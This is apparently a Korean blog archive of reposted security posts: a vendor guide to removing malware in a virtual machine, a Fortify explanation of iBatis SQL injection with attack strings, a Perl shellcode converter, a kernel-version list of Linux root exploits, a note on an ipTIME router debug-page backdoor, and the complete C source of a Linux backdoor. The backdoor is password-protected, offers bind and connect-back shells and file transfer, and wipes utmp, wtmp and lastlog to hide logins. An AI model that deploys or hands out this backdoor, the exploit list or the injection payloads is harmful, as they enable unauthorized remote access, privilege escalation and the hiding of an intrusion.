반응형
출처: http://www.hauri.co.kr/customer/security/colum_view.html?intSeq=89&page=1&keyfield=&key=

악성코드 짜잉나는 놈 내 손으로 제거해 주마!!! ㅎㅎ

악성코드 관련 컬럼이 있어 퍼왔습니다. 눈에 익은 툴들이 몇개 보이네요....ㅎ

 

1. 악성코드의 형태


악성코드는 대부분 스스로 실행 가능한 .exe 형태이거나, 다른 프로세스에 인젝션 되어 실행되는 .dll형태로 존재한다. 이번 칼럼에서는 간단하게 .exe형태의 악성코드를 제거해보도록 하겠다. 왜냐하면 .exe형태의 프로세스가 .dll형태의 악성코드보다 인지하는게 수월하기 때문이다.


2. 유용한 확인/제거 툴


ㄱ. Process Explorer 작업관리자로도 .exe형태의 파일을 볼 수는 있지만, 프로세스명만 나오기 때문에 많이 부족하다.이를 보완해줄수 있는 툴이 Process Explorer이다. 이 툴은 간단하게는 이미지(파일) 경로와 프로세스명, User Name등을 알 수 있으며, 프로세스의 실행, 일시정지, 재실행, 종료등 여러가지 기능을 가지고 있다.


ㄴ. Autoruns 레지스트리를 확인할 수 있는 툴로 부팅시 자동실행되는 파일이나 서비스를 보여준다. 이것을 이용해서 재부팅시 실행되는 악성코드도 확인 할 수 있다.


ㄷ. IceSword / Gmer 루트킷 탐지와 숨겨진 프로세스, 파일 등을 종료시키거나 제거할 때 사용한다.


ㄹ. File Monitor / Registry Monitor 파일이나 레지스트리의 IO를 사람의 눈으로 확인하기가 힘들기 때문에, IO에 대한 로그를 보고IO를 확인하는데 사용한다.


ㅁ. taskkill 하나 이상의 프로세스를 종료하는데 사용하며 여러가지 조건을 줄 수 있다.


3. 악성코드에 감염된 PC를 찾아라


악성코드를 제거하기 위해서는 감염된 PC가 필요한데 실PC가 감염되면 좋을게 하나도 없다. 이럴때 필요한 것이 가상머신인데 VmWare, VirtualPC, VirtualBox등 여러가지가 있다. 자신에게 맞는 가상머신을 설치하고 OS도 설치하여 필요한 툴도 넣고, 마지막으로 스냅샷 등의 복원지점도 설정해놓아야 편안하게 감염 테스트를 할 수 있다.


ㄱ. 필자는 VirtualBox를 이용해 보았으며 툴도 넣어두었고, 복원지점을 위해 스냅샷도 찍어 두었다. 숨길건 없지만, 안개효과를 내주는 Blur 필터를 추가하니 이미지가 멋있어졌다.



 

ㄴ. 가상머신에 공유폴더를 이용하여 악성코드와 툴을 넣고 File Monitor를 실행해두고, 악성코드인 TEST_MAL.vir.exe를 실행시켰다. 악성코드가 C:\lsass.exe를 생성시키는 것을 알수 있었다.


(설정변경 : 메뉴의 Help밑에 보이는 깔때기 아이콘 실행 -> Highlite에 Write;Delete 추가)



ㄷ. 이제 악성코드는 TEST_MAL.vir.exe와 C:\lsass.exe 두 마리다.


실행중인 악성코드를 보기위해 Process Explorer을 실행시켜 악성코드를 지켜보니 처음에 실행한 악성코드 TEST_MAL.vir.exe와 계속해서 실행/종료를 반복하고 있는 C:\lsass.exe를 확인할 수 있다.


(빨간색 줄은 종료되는 프로세스를, 녹색줄은 이제 막 실행되고 있는 프로세스를, 보라색은 압축되어 있는 프로세스를 나타낸다.)



 

4. 악성코드 제거하기


이제 감염된 PC가 생겼으니 제거해보자. 원래 쉬운것부터 해나가야 실력이 늘것이고, 주유소 습격사건의 유오성처럼 한 놈만 잡으면 다른것도 응용해서 할 수 있을꺼라 생각한다. 대부분의 악성코드를 직접 감염시켜보는게 아니기 때문에 어떤 프로세스를 종료시켜야 할 지 난감할 것이다. 이 많은 프로세스중에 어떤게 악성코드일까?


ㄱ. 악성코드 의심 대상을 좁혀라.


(Services로 실행되는 악성코드는 예외) Process Explorer가 트리구조로 보여주는 것을 감안하여 Shell로 동작하는 explorer.exe의 자식노드(우측으로 치우친)로 보여지거나, (모니터를 기준으로) explorer.exe의 아래쪽에 존재하는 프로세스들을 자세히 들여다 보자. 이는 우리가 PC에 로그인하여 실행하는 프로그램들은 쉘에서 실행되기 때문이며, 예외적으로 쉘에서 실행된 것중 자식프로세스를 생성하고 죽을경우 Process Explorer는 해당 자식 프로세스를 쉘과 동등한 레벨로 보여주기 때문이다.


(이것은 마치 SI로 추정되는 사람을 특정국가에서 귀국한 사람들로 범위를 좁혀가는 것과 같은 것이다. 하지만 사람은 악성코드가 아니다.)


ㄴ. 하나씩 제외시키면 악성코드가 보인다. 평소에 자신이 많이 보았거나 확실하게 아는 프로세스를 제외해보면 몇 개 안남을 것이다. 지금 같은 경우는 TEST_MAL.vir.exe와 실행/종료를 반복하는 lsass.exe만 눈에 띄게 이상하다. ㄷ. 의심되는 프로세스를 찾았다. 정말 악성코드일까?


- 백신업체에 해당 파일을 압축암호와 함께 압축하여 신고


=> 악성코드의 신고접수는 자신뿐 아니라 많은 백신 이용자들이 PC를 쾌적하고 안전하게 사용할 수 있게 해준다. 많은분들이 계속해서 신고해준다면 더 좋아지지 않을까?


- 각 백신업체의 홈페이지에서 무료로 검사해 볼 수 있다.


- 여러 백신업체의 스캐너로 악성코드를 무료로 검사해준다.


=> http://www.virustotal.com/ko


=> http://virscan.org


ㄹ. 확신이 섰다면 악성코드를 종료하자. 실행중인 악성코드를 종료하기 위해 Process Explorer에서 해당 악성코드를 선택하여 마우스 우측버튼을 누르면 나오는 메뉴중 [Kill Process] 를 선택하면 해당 프로세스가 종료되고, [Kill Process Tree]를 선택하면 해당 프로세스 및 해당 프로세스의 자식 프로세스까지 같이 종료된다. - TEST_MAL.vir.exe, lsass.exe -> 마우스 우측버튼 -> Kill Process/Kill Process Tree



 

ㅁ. 어라.. 아직 남았네.


Process Explorer로 TEST_MAL.vir.exe는 종료되었지만, 실행/종료를 반복중인 lsass.exe는 끄떡도 안한다. 일반적인 바이러스의 경우 Process Explorer, IceSword, Gmer, 추가적으로 Autoruns면 끝을 보는데 실행/종료를 반복하는 악성코드의 경우는 이것들로 해결이 되지 않을 수 있다.


[시도-1] IceSword로 Process를 종료해보자.


(생성/종료를 반복하기 때문에 안보일때도 있음) 왼쪽메뉴 Function/Registry/File중 Function을 선택한 뒤 Process를 선택하면 실행중인 프로세스의 PathName과 ImageName를 확인할 수 있다. 마우스 우측버튼으로 선택해서 Terminate Process를 누르면 종료해보자. 종료된 것 처럼 보였지만, 여전히 프로세스 생성/종료를 반복하고 있다. 실패!!



[시도-2] 실패했다. 그러면 IceSword로 파일을 지워보자.


왼쪽메뉴 Function/Registry/File중 File을 선택하여 C드라이브를 선택하면 lsass.exe가 보이므로 해당 악성코드를 선택하여 [Delete]/[force delete]해보자. 지워진것 처럼 보이지만 Process Explorer에서는 여전히 실행/종료를 반복하고 있다. 실패!!



[시도-3] Gmer로 프로세스를 종료해보자.


(생성/종료를 반복하기 때문에 선택안됨) Gmer를 실행시키고 맨위의 메뉴 [Rootkit/Malware]/[>>>>]중 >>>>를 선택하면 아래와 같은 메뉴가 나온다. 그중 첫번째에 있는 Process를 선택하여 [Kill Process]하려 하였으나 선택이 안된다. 실패!!



[시도-4] Gmer로 파일을 파일을 지워보자.


메뉴중 [File]를 선택하여 C드라이브에 존재하는 lsass.exe를 선택하여 [Delete]를 누르면 제거되지만 다른 폴더를 억세스후 다시 확인해보면 그대로다. 실패!! [File]메뉴에도 [Kill]이 존재하여 종료해보니 성공 반!! 실패 반!! 이었다.



ㅂ. 왜 안되는지 문제점을 파악하자.


Process Explorer, IceSword의 문제는 실행/종료가 반복되는 해당 프로세스에 대한 종료를 하려 하면 이미 해당 프로세스의 ID(=PID)는 이미 사라지고 다른 PID가 생성되면서 딜레이가 발생해서 인것으로 추정되었다. 즉 툴이 보여주는 프로세스와 현재 실행중인 프로세스에 차이가 발생해서 종료가 불가능 했던 것이며, Gmer의 경우 성공 반!! / 실패 반!! 이 가능했던 이유는 변하지 않는 않는 파일쪽에서 [Kill]명령을 내려서 인것으로 추정되었다. 한 두번 하면 성공!!


ㅅ. 위의 방법만으로만 해결이 가능한 것일까? 좀더 쉬운 방법은 없을까?


여러가지 조건을 걸어줄 수 있는 Taskkill이 가능 했었다. 아래의 Process Explorer을 보면 정상 lsass.exe와 악성 lsass.exe의 차이를 찾아서 조건부 Kill을 하면 되는 것이었다. Process Explorer의 숨겨진 컬럼을 추가하여 보자.


a. View -> Select Columns선택



b. Process Image에서 User Name, command Line를 체크해준다.



c. 아래의 컬럼이 추가된 Process Explorer을 보면 User Name이 다른 것을 알수 있다.

Taskkill을 이용하여 종료시켜보자. 프로세스가 종료되는 순간이 있기 때문에 프로세스를 찾지 못하는 경우도 있으니, 한두번 더 해주면 성공할 것이다.

<<사용된 명령어>> Taskkill /f /fi “username eq pcname” /im lsass.exe




휴.. 해결되었다.. 처음엔 쉬운걸 선택한줄 알았는데, 의외로 까다로운 악성코드였다. 이번 악성코드는 좀 방황했지만, 대부분 Process Explorer에서 프로세스를 종료하고 IceSword나 Gmer로 파일을 지우면 대부분 해결된다. 이제 악성코드라고 멀리하지 말고 가끔은 자신의 힘으로 악성코드를 제거해보는건 어떨까 한다. 물론 가끔이다.


(주)하우리 기술연구소 바이러스팀 연구원 이새별


반응형

ABSTRACT

Constructing a dynamic SQL statement with user input could allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.

EXPLANATION

SQL injection errors occur when:

1. Data enters a program from an untrusted source.

2. The data is used to dynamically construct a SQL query.



iBatis Data Maps allow you to specify dynamic parameters in SQL statements and are typically defined by using the # characters, like this:


<select id="getItems" parameterClass="MyClass" resultClass="items">
SELECT * FROM items WHERE owner = #userName#
</select>


The # characters around the variable name indicate that iBatis will create a parameterized query with the userName variable. However, iBatis also allows you to concatentate variables directly to SQL statements using $ characters, opening the door for SQL injection.

Example 1: The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where the owner matches the user name of the currently-authenticated user.


<select id="getItems" parameterClass="MyClass" resultClass="items">
SELECT * FROM items WHERE owner = #userName# AND itemname = '$itemName$'
</select>


However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string "name' OR 'a'='a" for itemName, then the query becomes the following:


SELECT * FROM items
WHERE owner = 'wiley'
AND itemname = 'name' OR 'a'='a';


The addition of the OR 'a'='a' condition causes the where clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:


SELECT * FROM items;


This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.

Example 2: This example examines the effects of a different malicious value passed to the query constructed and executed in Example 1. If an attacker with the user name wiley enters the string "name'; DELETE FROM items; --" for itemName, then the query becomes the following two queries:


SELECT * FROM items
WHERE owner = 'wiley'
AND itemname = 'name';

DELETE FROM items;

--'


Many database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.

Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed [4]. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in Example 1. If an attacker enters the string "name'); DELETE FROM items; SELECT * FROM items WHERE 'a'='a", the following three valid statements will be created:


SELECT * FROM items
WHERE owner = 'wiley'
AND itemname = 'name';

DELETE FROM items;

SELECT * FROM items WHERE 'a'='a';


One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from a whitelist of safe values or identify and escape a blacklist of potentially malicious values. Whitelisting can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, blacklisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:

- Target fields that are not quoted

- Find ways to bypass the need for certain escaped meta-characters

- Use stored procedures to hide the injected meta-characters

Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.

Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they fail to protect against many others. Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.

< 출처: http://www.fortify.com/vulncat/en/vulncat/java/sql_injection_ibatis_data_map.html >

현재 참여하고 있는 프로젝트에서 IBATIS 프레임워크를 사용하고 있습니다.

우연히 IBATIS SQL Injection에 대한 자료가 있길래 흥미롭게 읽다가 이렇게 블로그에 옮겨 봅니다.

참고로 영문 자료로 되어있지만 어렵지 않게 이해할수 있기때문에 기타 설명은 달지 않겠습니다.

짧은 영어실력이고 ㅡㅡ; 정리해서 올릴 시간적 여건이 안되기에..(핑계입니다. ㅠㅠ)

담에 시간날때 다시 보고 정리해야 겠습니다.
반응형
반응형
#!/usr/bin/perl


print "shellcode: ";
$x1=<>;
my $data = "$x1";
chomp($data);
my @values = split(undef,$data);

foreach my $val (@values) {

chomp($val);
print '\x';
print unpack(H8,"$val");

}

print "\n";
exit 0;
쉘코드 자료
http://blog.naver.com/sunku_nori?Redirect=Log&logNo=130008699090

쉘코드 변환기
http://hackersnews.org/hn/main.cgi/shellcode-converter.c?down_num=1116701267&board=hn_hack1&command=down_load&d=&filename=shellcode-converter.c
쉘코드 인코더
http://hackersnews.org/hn/main.cgi/shellcode-encoder.c?down_num=1116701309&board=hn_hack1&command=down_load&d=&filename=shellcode-encoder.c
반응형
반응형
/*

*   A tiny Linux backdoor with tty V. 1.2

*   Based on bindtty , thx sd

*   Code by W.Z.T     <wzt@xsec.org>

*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <errno.h>
#include <dirent.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <utmp.h>
#include <lastlog.h>
#include <pwd.h>
#include <sys/socket.h>

#define  HOME "/tmp"
#define  TEMP_FILE        "tthacker"
#define  CREATMODE        0777
#define  TIOCSCTTY        0x540E
#define  TIOCGWINSZ       0x5413
#define  TIOCSWINSZ       0x5414
#define  ECHAR            0x1d
#define  BUF              32768

#define  MAXENV          256
#define  ENVLEN          256
   
#define  WTMP_NAME        "/var/log/wtmp"
#define  UTMP_NAME        "/var/run/utmp"
#define  LASTLOG_NAME     "/var/log/lastlog"

#define  MAXARGS          50
#define  MAXFD              5
#define  SLEEP_TIME       10  /* !!connect back time */
#define  ARGLEN           300

#define  USAGES1          "\nconnected successful.welcome to use xsec's bindshell.Good Luck:)\n\n"
#define  ERRORS           "\nDo you want to get my shell? FUCK------->"
#define  PASSWD           "tthacker"     /* !!default password  */
#define  LOGIN              "login:"

#define  MAXNAME        100
#define  BUF_SIZE        4096
#define  TEMP_NAME        "tthacker"
      
void shell(int sock_id,int sock_fd);
void myshell(void);
void connect_back(char *hosts,char *port);    
void bindshell(char *port);    
void send_file(int sock_id);  
void save_file(int client_fd);
void get_tty(int num, char *base, char *buf);
void sig_child(int i);
void hangout(int i);
void cannot_stop_me(void);
void clearn_utmp(char *who);
void clearn_wtmp(char *who);
void clearn_lastlog(char *who);
void usage(char *pro);
int  open_tty(int *tty, int *pty);

struct winsize {
   unsigned short ws_row;
   unsigned short ws_col;
   unsigned short ws_xpixel;
   unsigned short ws_ypixel;
};

char command[ARGLEN];
char error1[MAXARGS];
char type1[MAXARGS];
char type2[MAXARGS];
char check[ARGLEN];

int fp;

int flag_g=0;
int flag_u=0;

char send_filename[MAXNAME];
char save_filename[MAXNAME];

int main(int argc,char *argv[])
{
    if(argc==1){
        usage(argv[0]);
    }
    if(argc==2){
        bindshell(argv[1]);
    }
    if(argc==3&&!strcmp(argv[1],"-c")){
        clearn_utmp(argv[2]);
        clearn_wtmp(argv[2]);
        clearn_lastlog(argv[2]);
    }
    if(argc==3&&strcmp(argv[1],"-c")){
        connect_back(argv[1],argv[2]);
    }
    if(argc==4&&!strcmp(argv[1],"-g")){    
        flag_g=1;
        strcpy(save_filename,argv[3]);
        bindshell(argv[2]);
    }
    if(argc==5&&!strcmp(argv[1],"-u")){
        flag_u=1;
        strcpy(send_filename,argv[4]);
        connect_back(argv[2],argv[3]);
    }
   
    return 0;
}

void usage(char *pro)
{
    fprintf(stdout,"Usage: \n\n");
    fprintf(stdout,"Bindshell    : %s <port>\n",pro);
    fprintf(stdout,"Connect back    : %s <remote ip> <port>\n",pro);
    fprintf(stdout,"Save file    : %s -g <port> <filename>\n",pro);
    fprintf(stdout,"Send file    : %s -u <remote ip> <port> <filename>\n",pro);
    fprintf(stdout,"Clean log(root)    : %s -c <username>\n",pro);
    exit(0);
}

void connect_back(char *hosts,char *port)
{
    struct sockaddr_in serv_addr;
    struct hostent     *host;
    int sock_fd,pid;

    if(flag_u!=1){
     printf("Daemon is starting...");
      fflush(stdout);
      pid = fork();
      if (pid !=0 ) {
          printf("OK, pid = %d\n", pid);
          exit(0);
      }
                                                                                                
      setsid();
      chdir("/");
      pid = open("/dev/null", O_RDWR);
      dup2(pid, 0);
      dup2(pid, 1);
      dup2(pid, 2);
      close(pid);
      signal(SIGHUP, SIG_IGN);
      signal(SIGCHLD, sig_child);
    }
   
    while(1){
        if((host=gethostbyname(hosts))==NULL){
            herror("gethostbyname");
            exit(1);
        }

        if((sock_fd=socket(AF_INET,SOCK_STREAM,0))==-1){
            perror("socket");
            exit(1);
        }

        serv_addr.sin_family=AF_INET;
        serv_addr.sin_port=htons(atoi(port));
        serv_addr.sin_addr=*((struct in_addr *)host->h_addr);
       
        bzero(&(serv_addr.sin_zero),8);

        strcpy(error1,(char *)inet_ntoa(INADDR_ANY));
            error1[strlen(error1)]='\0';

        if(connect(sock_fd,(struct sockaddr *)&serv_addr,sizeof(struct sockaddr))==-1){
            perror("connect");
            close(sock_fd);
            continue;
        }
       
        if(flag_u==1){
            send_file(sock_fd);
            exit(0);
        }
        else{
            shell(sock_fd,0);
            sleep(SLEEP_TIME);
            close(sock_fd);
        }
     }
}

void bindshell(char *port)
{
    int pid;
    int  sin_size;
    int sock_fd,client_fd;
    struct sockaddr_in my_addr;
     struct sockaddr_in remote_addr;

    if((sock_fd=socket(AF_INET,SOCK_STREAM,0))==-1){
        perror("socket");
        exit(1);
    }
   
    my_addr.sin_family=AF_INET;
    my_addr.sin_port=htons(atoi(port));
    my_addr.sin_addr.s_addr=INADDR_ANY;

    bzero(&(my_addr.sin_zero),8);

    if(bind(sock_fd,(struct sockaddr *)&my_addr,sizeof(struct sockaddr))==-1){
        perror("bind");
        exit(1);
    }

    if(listen(sock_fd,MAXFD)==-1){
        perror("listen");
        close(sock_fd);
        exit(0);
    }

    strcpy(error1,(char *)inet_ntoa(remote_addr));
    error1[strlen(error1)]='\0';


    printf("Daemon is starting...");
    fflush(stdout);
    pid = fork();
    if (pid !=0 ) {
        printf("OK, pid = %d\n", pid);
        exit(0);
     }
   
      setsid();
      chdir("/");
      pid = open("/dev/null", O_RDWR);
      dup2(pid, 0);
      dup2(pid, 1);
      dup2(pid, 2);
      close(pid);
      signal(SIGHUP, SIG_IGN);
      signal(SIGCHLD, sig_child);
   
    while(1){
        sin_size=sizeof(struct sockaddr_in);
        if((client_fd=accept(sock_fd,(struct sockaddr *)&remote_addr,&sin_size))==-1){
            perror("accept");
            close(client_fd);
            continue;
        }
        if(flag_g==1){
            save_file(client_fd);
            exit(0);    
        }
        else{
            shell(client_fd,sock_fd);
        }
        close(client_fd);
    }
}

void send_file(int sock_id)
{
    int fd,n_char;    
    char buffer[BUF_SIZE];
   
    if((fd=open(send_filename,O_RDONLY))<0){
        fprintf(stderr,"Cannot open %s\n",send_filename);
        exit(1);
    }

    printf("[+] Open file %s ok.\n",send_filename);    
    while((n_char=read(fd,buffer,BUF_SIZE))>0){
        write(sock_id,buffer,n_char);
        printf("Send %d bytes ok.\n",n_char);
    }
       
    fprintf(stdout,"send file %s ok.\n",send_filename);
    close(fd);
}

void save_file(int client_fd)
{
    int fd,n_char;
    char buffer[BUF_SIZE];
    char send_ok[BUF_SIZE]="save file ok.\n";
    char file_name[MAXNAME];
   
    if((fd=creat(save_filename,CREATMODE))<0){
        fprintf(stderr,"Cannot create % .n",save_filename);
        exit(1);
    }
   
    printf("[+] Open file %s ok.\n",save_filename);
    while((n_char=read(client_fd,buffer,BUF_SIZE))>0){
        write(fd,buffer,n_char);
        printf("Save %d bytes ok.\n",n_char);
    }

    write(client_fd,send_ok,sizeof(send_ok));        
    close(fd);
}

void shell(int sock_id,int sock_fd)
{
    fd_set     fds;
    struct  winsize ws;
    char     buf[BUF];
    char    msg[] = "Can't fork pty, bye!\n";
    char     *argv[] = {"sh", "-i", NULL};
    char     *envp[MAXENV];
     char     envbuf[(MAXENV+2) * ENVLEN];
     char     home[MAXENV];
    int     i,j,k,slen,rlen,count;
    int     subshell,tty,pty;
       unsigned char *p, *d;
       unsigned char wb[5];
   
    write(sock_id,LOGIN,sizeof(LOGIN));
    read(sock_id,check,sizeof(check));

    if(strstr(check,PASSWD)!=NULL){
        if(!fork()){
            write(sock_id,USAGES1,strlen(USAGES1));

//stealing code from bindtty                    

            envp[0]=home;
               sprintf(home, "HOME=/tmp", HOME);
                   j = 0;
                   do {
                   i = read(sock_id, &envbuf[j * ENVLEN], ENVLEN);
                   envp[j+1] = &envbuf[j * ENVLEN];
                   j++;
                   if ((j >= MAXENV) || (i < ENVLEN)) break;
               } while (envbuf[(j-1) * ENVLEN] != '\n');
               envp[j+1] = NULL;

               setpgid(0, 0);

               if (!open_tty(&tty, &pty)) {
                   write(sock_id, msg, strlen(msg));
                   close(sock_id);
                   exit(0);
               }

            subshell = fork();
               if (subshell == 0) {
                   close(pty);
                       setsid();
                 ioctl(tty, TIOCSCTTY);
                   close(sock_id);
                    close(sock_fd);
                       signal(SIGHUP, SIG_DFL);
                   signal(SIGCHLD, SIG_DFL);
                      dup2(tty,0);
                      dup2(tty,1);
                      dup2(tty,2);
                       close(tty);
                   execve("/bin/sh", argv, envp);
               }

               close(tty);

               signal(SIGHUP, hangout);
               signal(SIGTERM, hangout);    
               
               while (1) {
                   FD_ZERO(&fds);
                   FD_SET(pty, &fds);
                   FD_SET(sock_id, &fds);
                   if (select((pty > sock_id) ? (pty+1) : (sock_id+1),&fds, NULL, NULL, NULL) < 0){
                       break;
                   }
                   if (FD_ISSET(pty, &fds)) {
                       count = read(pty, buf, BUF);
                       if (count <= 0) break;
                       if (write(sock_id, buf, count) <= 0) break;
                   }
                   if (FD_ISSET(sock_id, &fds)) {
                       d = buf;
                       count = read(sock_id, buf, BUF);
                       if (count <= 0) break;

                       p = memchr(buf, ECHAR, count);
                       if (p) {
                               rlen = count - ((long) p - (long) buf);

                           if (rlen > 5) rlen = 5;
                                      memcpy(wb, p, rlen);
                           if (rlen < 5) {
                                   read(sock_id, &wb[rlen], 5 - rlen);
                           }

                           ws.ws_xpixel = ws.ws_ypixel = 0;
                           ws.ws_col = (wb[1] << 8) + wb[2];
                           ws.ws_row = (wb[3] << 8) + wb[4];
                           ioctl(pty, TIOCSWINSZ, &ws);
                           kill(0, SIGWINCH);

                           write(pty, buf, (long) p - (long) buf);
                           rlen = ((long) buf + count) - ((long)p+5);
                           if (rlen > 0)
                    write(pty, p+5, rlen);
                     }
                        else
                           if (write(pty, d, count) <= 0) break;
                      }
                    }
                   close(sock_id);
                   close(sock_fd);
                   close(pty);

                   waitpid(subshell, NULL, 0);
                   vhangup();
                   exit(0);
                  
        }
    }
    else{
        write(sock_id,ERRORS,strlen(ERRORS));
        write(sock_id,error1,strlen(error1));
        close(sock_id);
    }
    close(sock_id);
}        

//stealing code from bindtty:)


void    get_tty(int num, char *base, char *buf)
{
       char    series[] = "pqrstuvwxyzabcde";
       char    subs[] = "0123456789abcdef";
       int pos = strlen(base);
       strcpy(buf, base);
       buf[pos] = series[(num >> 4) & 0xF];
       buf[pos+1] = subs[num & 0xF];
       buf[pos+2] = 0;
}


int open_tty(int *tty, int *pty)
{
       char    buf[512];
       int i, fd;

       fd = open("/dev/ptmx", O_RDWR);
       close(fd);

       for (i=0; i < 256; i++) {
           get_tty(i, "/dev/pty", buf);
           *pty = open(buf, O_RDWR);
           if (*pty < 0) continue;
           get_tty(i, "/dev/tty", buf);
           *tty = open(buf, O_RDWR);
           if (*tty < 0) {
                   close(*pty);
                       continue;
           }
           return 1;
       }
       return 0;
}


void sig_child(int i)
{
       signal(SIGCHLD, sig_child);
       waitpid(-1, NULL, WNOHANG);
}

void hangout(int i)
{
       kill(0, SIGHUP);
       kill(0, SIGTERM);
}

void cannot_stop_me(void)
{
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);

    signal(SIGCHLD,SIG_IGN);
    signal(SIGHUP,SIG_IGN);
    signal(SIGTERM,SIG_IGN);
    signal(SIGINT,SIG_IGN);
    signal(SIGKILL,SIG_IGN);
    if(fork())
        exit(0);
}

void clearn_utmp(char *who)
{
       struct utmp ent;
                                                                 
       if((fp=open(UTMP_NAME,O_RDWR))<0){
               perror("open");
       }
       while(read(fp,&ent,sizeof(ent))>0){
               if(!strncmp(ent.ut_user,who,sizeof(ent))){
                       bzero((char *)&ent,sizeof(ent));
                       lseek(fp,-(sizeof(ent)),SEEK_CUR);
                       write(fp,&ent,sizeof(ent));
               }
       }
       printf("clearn %s done.\n",UTMP_NAME);
}

void clearn_lastlog(char *who)
{
       struct passwd *pwd;
       struct lastlog new;
                                                                 
       if((pwd=getpwnam(who))==NULL){
               printf("No such user.\n");
               exit(0);
       }
                                                                 
       if((fp=open(LASTLOG_NAME,O_RDWR))<0){
               printf("clearn %s failed\n",LASTLOG_NAME);
       }
       bzero((char *)&new,sizeof(new));
       lseek(fp,(long)pwd->pw_uid*sizeof(struct lastlog),0);
       write(fp,&new,sizeof(new));
       printf("clearn %s done.\n",LASTLOG_NAME);
       close(fp);
}

void clearn_wtmp(char *who)
{
       struct utmp ent;
                                                                 
       if((fp=open(WTMP_NAME,O_RDWR))<0){
               printf("Can't open the file %s \n",WTMP_NAME);
       }
       while(read(fp,&ent,sizeof(ent))>0){
               if(!strncmp(ent.ut_user,who,sizeof(ent))){
                       bzero((char *)&ent,sizeof(ent));
                       lseek(fp,-(sizeof(ent)),SEEK_CUR);
                       write(fp,&ent,sizeof(ent));
               }
       }
       printf("claern %s done.\n",WTMP_NAME);
       close(fp);
}
반응형
리눅스 커널 버전별 루트 익스플로잇 리스트입니다.
각자 서버의 커널 버전에 해당하는 익스플로잇을 찾아서 취약점은 없는지 테스트 해보시는것도 좋을 듯 싶습니다. 취약점 점검용으로만 참고하시고, 악용은 안되는거 아시죠?!

=======================

2.4.17
newlocal
kmod

2.4.18
brk
brk2
newlocal
kmod
km.2

2.4.19
brk
brk2
newlocal
kmod
km.2

2.4.20
ptrace
kmod
ptrace-kmod
km.2
brk
brk2

2.4.21
km.2
brk
brk2
ptrace
ptrace-kmod

2.4.22
km.2
brk2
brk
ptrace
ptrace-kmod

2.4.22-10
loginx
./loginx

2.4.23
mremap_pte

2.4.24
mremap_pte
Uselib24

2.4.25-1
uselib24

2.4.27
Uselib24

2.6.0
REDHAT 6.2
REDHAT 6.2 (zoot)
SUSE 6.3
SUSE 6.4
REDHAT 6.2 (zoot)
all top from rpm
-------------------------
FreeBSD 3.4-STABLE from port
FreeBSD 3.4-STABLE from packages
freeBSD 3.4-RELEASE from port
freeBSD 4.0-RELEASE from packages
----------------------------
all with wuftpd 2.6.0;
=
wuftpd
h00lyshit

2.6.2
mremap_pte
krad
h00lyshit

2.6.5 to 2.6.10
krad
krad2
h00lyshit

2.6.8-5
krad2
./krad x
x = 1..9
h00lyshit

2.6.9-34
r00t
h00lyshit

2.6.13-17
prctl
h00lyshit
-------------------
2.4.17 -> newlocal, kmod, uselib24
2.4.18 -> brk, brk2, newlocal, kmod
2.4.19 -> brk, brk2, newlocal, kmod
2.4.20 -> ptrace, kmod, ptrace-kmod, brk, brk2
2.4.21 -> brk, brk2, ptrace, ptrace-kmod
2.4.22 -> brk, brk2, ptrace, ptrace-kmod
2.4.22-10 -> loginx
2.4.23 -> mremap_pte
2.4.24 -> mremap_pte, uselib24
2.4.25-1 -> uselib24
2.4.27 -> uselib24
2.6.2 -> mremap_pte, krad, h00lyshit
2.6.5 -> krad, krad2, h00lyshit
2.6.6 -> krad, krad2, h00lyshit
2.6.7 -> krad, krad2, h00lyshit
2.6.8 -> krad, krad2, h00lyshit
2.6.8-5 -> krad2, h00lyshit
2.6.9 -> krad, krad2, h00lyshit
2.6.9-34 -> r00t, h00lyshit
2.6.10 -> krad, krad2, h00lyshit
2.6.13 -> raptor, raptor2, h0llyshit, prctl
2.6.14 -> raptor, raptor2, h0llyshit, prctl
2.6.15 -> raptor, raptor2, h0llyshit, prctl
2.6.16 -> raptor, raptor2, h0llyshit, prctl
반응형

iptime 공유기에 백도어..?가 있었다.
http://192.168.0.1/????/timepro.cgi?tmenu=main_frame&smenu=main&frame
암호가 없이 공유기 설정이 마음대로 들어가진다. 오마이갓.

????부분은 미공개처리인듯 유추시 cgi-bin  일듯으로 여겨짐
아니면 debug  거의 cgi-bin이 확실할듯

거기에..
http://192.168.0.1/cgi-bin/timepro.cgi?flag=debug 를 입력하면 이상한 놈이 나옵니다.
(최신버전은 debug 대신 bluesky입니다..)
가면.. command name을 입력할 수 있는게 뜨는데
리눅스 명령어가 모두 먹힌다.

hwinfo라던지.. 심지어 파일도 올릴 수 있는데 wget과 비슷한 역활을 하는 프로그램을 올려서
telnetd를 이용 putty로 접속하여 쉘을 실행을 시킬 수가 있다.

이런 개.....xxxxx 하지만 패치가 나왔다.
